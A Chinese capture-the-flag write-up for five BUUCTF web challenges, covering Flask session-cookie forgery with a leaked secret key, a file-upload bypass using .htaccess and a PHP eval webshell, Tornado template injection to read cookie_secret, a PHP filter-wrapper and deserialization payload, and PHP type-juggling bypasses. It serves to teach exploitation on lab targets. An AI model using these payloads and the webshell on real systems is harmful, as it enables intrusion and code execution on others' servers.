BUUCTF-Web方向21-25wp

news/2025/2/24 15:29:14/文章来源:https://www.cnblogs.com/GuijiH6/p/18734169

[HCTF 2018]admin

打开环境,有三处提示,一个跳转链接,一个登录注册,一个提示不是admin

点击hctf,无法访问

注册个账号,依旧无法查看,看来需要admin账号

弱口令

爆破密码

当密码未123长度明显不同

登录

session伪造

在修改密码界面,提示session

下载该源码查看,index.php

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}       //session的name=admin才行
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>{% include('footer.html') %}

session值

.eJw9UE2PgjAQ_SubOXuQghcTD26KRpJpgykh04txEYFC3QQ1QI3_faubeJi8w_uYN_OAw7kvrzUsb_29nMGhOcHyAV8_sASy2iCvFqgokHk8IaOB8t1c8nYSLB00_65lvumkykZy-xpNHAmXhTpPvDN2wsYM7d6QWjPhUoeqCsh6ncVRvjTce_mmIdOGMscFuXgSvJgLtgu812PKSPkOeRaJ7aYjV4V6mwV6S6Pku0mbtfPZkZ8VPGdQXPvz4fbblpfPCWiKQShiyNKQTDUK489wSatNNiBvI-SFr-5XqaR5IZmTwWr1jmvssSo_SWVXx1n6z1yO1hNw649FCzO4X8v-_TcI5vD8A-s4bN0.Z7qRbQ.v-Ap7KW-T8GzuEtnu2WDl_-2plg

在config.py中

import os
class Config(object):SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'     //secret_key=ckj123SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'SQLALCHEMY_TRACK_MODIFICATIONS = True

工具下载

git clone https://github.com/noraj/flask-session-cookie-manager

解密:

python3 flask_session_cookie_manager3.py decode -c .eJw9UE2PgjAQ_SubOXuQghcTD26KRpJpgykh04txEYFC3QQ1QI3_faubeJi8w_uYN_OAw7kvrzUsb_29nMGhOcHyAV8_sASy2iCvFqgokHk8IaOB8t1c8nYSLB00_65lvumkykZy-xpNHAmXhTpPvDN2wsYM7d6QWjPhUoeqCsh6ncVRvjTce_mmIdOGMscFuXgSvJgLtgu812PKSPkOeRaJ7aYjV4V6mwV6S6Pku0mbtfPZkZ8VPGdQXPvz4fbblpfPCWiKQShiyNKQTDUK489wSatNNiBvI-SFr-5XqaR5IZmTwWr1jmvssSo_SWVXx1n6z1yO1hNw649FCzO4X8v-_TcI5vD8A-s4bN0.Z7qRbQ.v-Ap7KW-T8GzuEtnu2WDl_-2plg -s ckj123

解密结果,这里我们需要将name改成admin

{'_fresh': True, '_id': b'bfc0891659a23f0ab48927d0d0a9ae951c4a218757ebff136a62dca06743185bda2c19bfd1e81bb979c9c124747b56a47d6a6c1e84aec87de5df1822f03a08a0', 'csrf_token': b'2705663d7b8161232df50098071c1452bc14b7c2', 'image': b'zXDQ', 'name': 'track', 'user_id': '10'}

进行session伪造

python3 flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': b'bfc0891659a23f0ab48927d0d0a9ae951c4a218757ebff136a62dca06743185bda2c19bfd1e81bb979c9c124747b56a47d6a6c1e84aec87de5df1822f03a08a0', 'csrf_token': b'2705663d7b8161232df50098071c1452bc14b7c2', 'image': b'zXDQ', 'name': 'admin', 'user_id': '10'}" -s ckj123

伪造的session

.eJw9UE2PgjAQ_SubOXuQghcTD26KBpJpgykh04txEYFi3QQ1QI3_faubeJi8w_uYN_OA_amvrg0sb_29msG-PcLyAV8_sASy2iCvF6gokEU8IaOBimQueTcJlg2afzey2JylykdyuwZNHAmXh7pIvTN2wsYM7c6QWjPhMoeqDsh6ncVRvjTce_mmJdOFssAFuXgSvJwLlgTe6zFjpHyHIo_EdnMmV4d6mwd6S6PkyaTN2vnsyM8KnjMor_1pf_vtqsvnBDTlIBQxZFlIph6F8We4tNMmH5B3EfLSV_erVNq-kMzRYL16x7X2UFefpOrcxHn2z1wO1hNwONr2AjO4X6v-_TcI5vD8A-oIbNE.Z7qUFw.wgQI2lOZR0DLoEc8neo5vNoDBaU

在初始页面包中修改session,拿到flag

[MRCTF2020]你传你🐎呢

本题:上传一句话木马判断过滤方式,白名单/黑名单,成功绕过之后,找上传路径,访问该路径,如果没有解析出来,需要抓包上传.htaccess文件,使上传的木马文件正常解析,然后再次访问木马文件,成功解析之后再用蚁剑链接

当我们上传文件时,会随机生成上传路径(即一个目录),如果只是单独的一个shell.jpg是无法正常解析的,需要.htaccess文件使在同一目录下被包含的文件正常解析,如下

打开环境,是文件上传

这里测试之后发现过滤了php,phtml等文件,而且上传的木马文件会无法解析,所以这题需要利用文件绕过

上传图片马文件,然后查看路径,会发现浏览器无法正常解析

上传一个htaccess文件然后抓包修改

然后上传木马文件

track
<?php @eval($_POST["a"]);?>

访问该路径,正常解析

使用蚁剑连接即可

[护网杯 2018]easy_tornado

打开环境,有三处跳转

逐个查看

flag.txt,提示flag在/fllllllllllllag

welcome.txt,给了一个render

hint.txt,告诉了一个格式md5(cookie_secret+md5(filename))

在访问的时候我们注意到,url存在相同格式

url/file?filename=/文件名&filehash=32位小写md5

所以说这题应该是要利用flag路径然后找到cookie_secret然后进行md5加密,结合题目应该是tornamo模板注入漏洞

当报错时,会有一个msg参数,会回显输入的值

看看{{7*7}}

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量,这里面就存在我们需要的cookie_secret

拿到之后就可以加密求解了

md5(1aafd574-698c-4ae2-9caa-80f45c8af977+md5(/fllllllllllllag))
#md5(1aafd574-698c-4ae2-9caa-80f45c8af9773bf9f6cf685a6dd8defadabfb41a03a1)
#6150fe6edda96aee462235e6fe5e6b9d

拿到flag

[ZJCTF 2019]NiZhuanSiWei

打开环境,是如下源码

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){  //用了强比较===,检查text变量是否是welcome to the zjctfecho "<br><h1>".file_get_contents($text,'r')."</h1></br>";  //是则输出if(preg_match("/flag/",$file)){       //禁止了file变量中存在/flag字符串echo "Not now!";exit(); }else{include($file);  //useless.php        //可能需要读取useless.php$password = unserialize($password);   //将password反序列化echo $password;}
}
else{highlight_file(__FILE__);
}
?> 

先用data url绕过第一层

url?text=data://text/plain,welcome to the zjctf

利用php伪协议读取useless.php

url/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码得到useless.php的源码

<?php  class Flag{  //flag.php   //定义Flag类public $file;                      //定义file属性,存储文件路径或文件名。由于它是公共的,外部代码可以直接访问和修改它。public function __tostring(){      //一种魔术方法,当对象被当作字符串使用时会被自动调用,如echo,print   if(isset($this->file)){  echo file_get_contents($this->file);     //打印file属性指向的文件echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
?>  

进行序列化

拿到序列化内容

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

进行拼接得到最终pyload

http://9d48ea6b-724a-4517-b3d8-a12b5eb11352.node5.buuoj.cn:81?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码得到flag

[MRCTF2020]Ez_bypass

打开环境,是如下源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {     //get方式传入gg和id两个参数$id=$_GET['id'];$gg=$_GET['gg'];if (md5($id) === md5($gg) && $id !== $gg) {     //====强比较,md5值相同,本身不同echo 'You got the first step';if(isset($_POST['passwd'])) {$passwd=$_POST['passwd'];if (!is_numeric($passwd))              //如果不是纯数字,进入下一层{if($passwd==1234567)             //检查passwd位1234567,{echo 'Good Job!';highlight_file('flag.php');die('By Retr_0');}else{echo "can you think twice??";}}else{echo 'You can not get it !';}}else{die('only one way to get the flag');}
}else {echo "You are not a real hacker!";}
}
else{die('Please input first');
}
}Please input first

第一层

利用数组绕过

第二层

这里需要利用php特性,==是弱比较类型,由于php是一种弱语言,所以在比较时会自动转化位同一类型,这里利用了intval函数,而本体函数不能是纯数字,并且也必须=1234567,故可以用数字+字符拼接绕过,因为字符不会被转换,及1234567aa=1234567

拿到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/889047.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

useMemo 与 useEffect

执行顺序 useMemo 是同步执行,而 useEffect 是异步的。 import { useMemo, useState, useEffect } from react;function TestComponent() {const [count, setCount] = useState(0);console.log(普通代码:在渲染期间同步执行);useMemo(() => {console.log(useMemo:在渲染期…

测试用例管理工具2

一、bug的等级 (1)1级bug (致命bug) (2)2级bug(严重bug) (3)3级bug(一般bug) (4)4级bug(简易性bug)- 划分- 1级bug (致命bug):必须优先修改,在测试中较少出现,一旦出现应立即中止当前版本测试; 致命bug: (1)常规操作引起的崩溃,死机,死循环,内存泄…

FPGA Assembly

FASM 是一种文件格式,用于指定 FPGA 比特流中需要置1或清0的位。FASM 的设计初衷是提供一个中间层,令 FPGA 布局布线工具无需关心实际运行的 FPGA 比特流文件格式而工作。FASM 文件格式具有以下特性:从文件中删除任意一行都不会影响其有效性(注:这里的“有效性”指的是能正…

Flink 实战之维表关联

生产应用中,经常遇到将实时 **流式数据** 与 **维表数据** 进行关联的场景。常见的维表关联方式有多种,本文对以下 3 种进行了实现,并对每种方法的优缺点进行了比较:1. 预加载维表 2. 异步 IO 3. 广播维表下面分别使用不同方式来完成维表 join 的实验,附源码和实时动效。F…

Sa2VA环境搭建推理测试

引子 Sa2VA模型通过结合SAM-2和LLaVA,将文本、图像和视频统一到共享的LLM标记空间中,能够在少量指令微调下执行多种任务,如图像/视频对话、指称分割和字幕生成。该模型在视频编辑和内容创作中展现出强大的性能,在相关基准任务中达到了SOTA水平。OK,那就让我们开始吧。一、…

20-bluecms代码审计、thinkphp相关知识cve和cnvd编号申请

1、对bluecms进行代码审计,分析复现文件上传、ssti模板注入、文件删除等漏洞 文件上传审计admin/tpl_manage.php 文件发现,在do_edit模块有三个参数(act = do_edit、tpl_name = 写入文件名称、tpl_content = 写入内容,且代码中未对文件名过滤,导致可以上传任意文件。查看对…

ios SDK AB 开关切换

在数据库的这个服务器 然后再ctest1数据库新建编辑器然后查询select* fromapp_config ac whereaccess_no = 12100186 //这个是应用IDand module = abSwitchand param_name = export_otel_ab查到后,把param_value改为B,或者A,然后回车,然后点击图中的保存 保存后等两分钟,…

CS Course Learning

【李宏毅】2024大语言模型课程 课程学习课程链接:https://speech.ee.ntu.edu.tw/~hylee/genai/2024-spring.php Bilibili相关视频链接:https://www.bilibili.com/video/BV1XS411w7qrGPT: Autoregressive model In-context LearningChain of Thoughts (CoT) Tree of Thoughts …

跟着狂神学markdown作业01天

markdown学习 标题 一共可以做六级标题 格式为#+空格+标题 几级标题就打几个空格 字体 粗体:hello,world 两边各加两个*号 斜体:hello,world 两边各加一个*号 粗体+斜体:hello,world 两边各加三个***号 删除效果:hello,world 引用选择狂神说java,走向人生巅峰(用>…

java知识面试day4

1.常见的关键字有哪些static:静态变量,静态变量被所有对象共享,在内存中只有一个副本。具有静态变量,静态方法块,静态代码块(在类加载时候被指执行一次),静态内部类:非静态内部类需要依赖外部实列,但静态内部类不需要。final 基本数据类型用final修饰不能修改,引用对象被…

[QOJ 8366] 火车旅行

毒瘤边化点,有人说非排列只需要加一些细节,但是这个题毒瘤在于非排列。 statement 给定一个长度为 \(n\) 的序列 \(a_i\)。 对于位置 \(x\) 和 \(y\):若 \(y < x\) 且 \(max_{y < i < x} a_i < min(a_x, a_y)\) 则位于 \(x\) 的棋子可以花费 \(L_x\) 的代价跳到…

uipath更新到最新版本2025.0.161出现严重问题

uipath更新到最新版本2025.0.161出现严重问题:1. 打开既有项目,会报CS0246错误2. 无法创建新项目,一直报无权限访问尝试办法:1. 重新安装uipath,未解决2. 删除项目重新添加,未解决3. 给账户添加最高权限,未解决 workaround:把项目从默认文件夹复制到其他盘(除了C盘外…